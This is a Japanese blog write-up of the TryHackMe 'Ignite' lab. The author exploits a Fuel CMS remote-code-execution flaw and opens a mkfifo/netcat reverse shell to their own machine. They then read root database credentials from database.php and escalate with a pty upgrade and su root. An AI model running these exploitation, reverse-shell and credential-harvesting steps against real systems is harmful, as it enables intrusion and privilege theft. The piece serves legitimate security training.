TryHackMe Writeup：Ignite

## はじめに

TryHackMeのPracticeにあるお題ですね
Webサーバーに関するもののようです

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/21bfdc55-5321-b2b5-d4d9-6fedb175ad39.png)

お題は以下二つのようです
1. flag.txt
1. root.txt

それでは、さっそくやっていきたいと思います！

## flag.txt

安定のnmapからスタートしますが、ポート80番しか開いていなかったです。。

HTTPでアクセスしてみると、Fuel CMSというサイトがでてきました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/fcf7fe5a-77d0-00a6-074b-438de7e0bc39.png)

なんだろうと思ってGoogleで調べてみると、なんだか怪しいサジェスチョンが。。（笑）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/46a4fa2f-a1b6-35b7-8024-10f57f898864.png)

ということで、msfconsole内で` searchsploit  Fuel`を実行すると下図が得られました

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/d14767d9-5850-e2ac-ce06-c7ba7edc95e6.png)


Remote Code Exeutionがありますねー

50477.pyがどこにあるか探してみます
全ディレクトリから検索するのは以下のコマンドが使えます！
```
find / -name 50477.py
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/495f7ff8-e69c-92fd-3eb1-781c57818bb4.png)

作業用ディレクトリにコピー
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/71b482e1-7df0-47d1-23a3-796f4b4ed778.png)

以下のコマンドを実行
```
python3 50477.py -u http://10.10.7.223 
```

2,3分経つと画面が変わった。うまくいったみたい

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/4a2a41b9-5950-9961-6a5b-6f7b70ce4837.png)

whoamiをしてみたところ、うまく動いているみたいですね
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/6591dfc0-6429-ed26-8d51-0207597966dd.png)


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/c8ad5830-63a0-b36d-c54c-90f996fc1dd8.png)

ただ、`cd`などをしても`system`と返ってくるだけで、何も進まない、、、

うーん、わからなくなったので、Writeupを見てみることに、、、
https://qiita.com/v_avenger/items/cae682bfc986f261a6a9


リバースシェルを張る必要があるみたい

以下を実施したが、うまくいかず。。。

ローカル（自分のKali Linux）
```
nc -lnvp  4444  
```



リモート（攻撃対象）

```
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc [IPアドレス] >/tmp/f
```


ここで気が付く。。。
今、攻撃対象にTryHackMeが指定した手順でOpenVPNを使ってアクセスしているから、IPアドレスはVPNに割り振られたIpアドレスでないといけない。。。
ifconfigをして、tun0になっているところのIPアドレスを指定しないといけないんだ、、、

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/eb8b51c7-97cd-2d28-d36d-47e7d13403b7.png)

これを試してみるとリバースシェルがはれた！！！

あとはディレクトリをいろいろ探していけば、flag.txtが見つかります！


## root.txt

他の方のWriteupにも記載されていますが、username,passwordを記載したphpファイルがあるとのこと。。。
（良い子は真似しないようにしましょう）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/36bd3009-b1e4-87f9-f1e6-09b6c0f6ec37.png)

さっそく`database.php`を探していきます

```
find / -name database.php
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/13ac1039-3157-4828-b76b-329e248a4f3d.png)

（アクセスが拒否された、というログがたくさんでてくるので、grepを使うのがいいみたい）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/17a9ba7b-176b-f1a0-093f-978fbbf30243.png)

catで開いてみると、デフォルト設定があった。。。

```

$db['default'] = array(
        'dsn'   => '',
        'hostname' => 'localhost',
        'username' => 'root',
        'password' => 'mememe',
        'database' => 'fuel_schema',
        'dbdriver' => 'mysqli',
        'dbprefix' => '',
        'pconnect' => FALSE,
        'db_debug' => (ENVIRONMENT !== 'production'),
        'cache_on' => FALSE,
        'cachedir' => '',
        'char_set' => 'utf8',
        'dbcollat' => 'utf8_general_ci',
        'swap_pre' => '',
        'encrypt' => FALSE,
        'compress' => FALSE,
        'stricton' => FALSE,
        'failover' => array(),
        'save_queries' => TRUE
);

```

ただ、そのまま権限昇格しようとすると、エラーがでる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/19d8e2be-a9f1-a98d-a954-1c98ba42f966.png)

Writeupを見つつ、以下を実行するしたところ、root.txtを確認できました！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2152468/92ead2c2-525d-5d1b-c92d-c71f56fa916e.png)


この一連のコマンドで何をしているんだろうと思って整理してみました。


1. 端末をインタラクティブにする
`$ python -c 'import pty; pty.spawn("/bin/bash")'`
このコマンドは、Pythonのpty（pseudo-terminal）モジュールを使用して、シェルを制限された状態からインタラクティブな端末に切り替えます。これにより、su rootのようなコマンドが正常に実行できる端末にします。

2. シェルを一時停止
`^Z（Ctrl + Z）`
現在のシェルを一時的に停止し、バックグラウンドに送る操作です。この操作は、次のステップで端末設定を変更するために必要です。



3. 端末設定の変更
`stty raw -echo;fg`
stty raw -echoで、端末の入力を「rawモード」に変更し、エコーバックを無効にします。これは、端末が入力した文字を表示せずにそのままシステムに送信する設定です。
（これをしないとコマンドプロンプトが固まりました。。。。）
fgで、先ほどバックグラウンドに送ったシェルを再度フォアグラウンドに戻します。


4. rootユーザーへの切り替え
`su root`

インタラクティブな端末に変更されたことで、su rootコマンドが正常に動作し、パスワード入力を受け付け、root権限を取得できます。


## 最後に

Writeupを見れば、十分解ける問題ですし、流れもきれいな気がしました。
それよりも個人的にはVPNで割り当てられたIPアドレスを使わないといけない、ということに気がついたのが大きな発見でした。。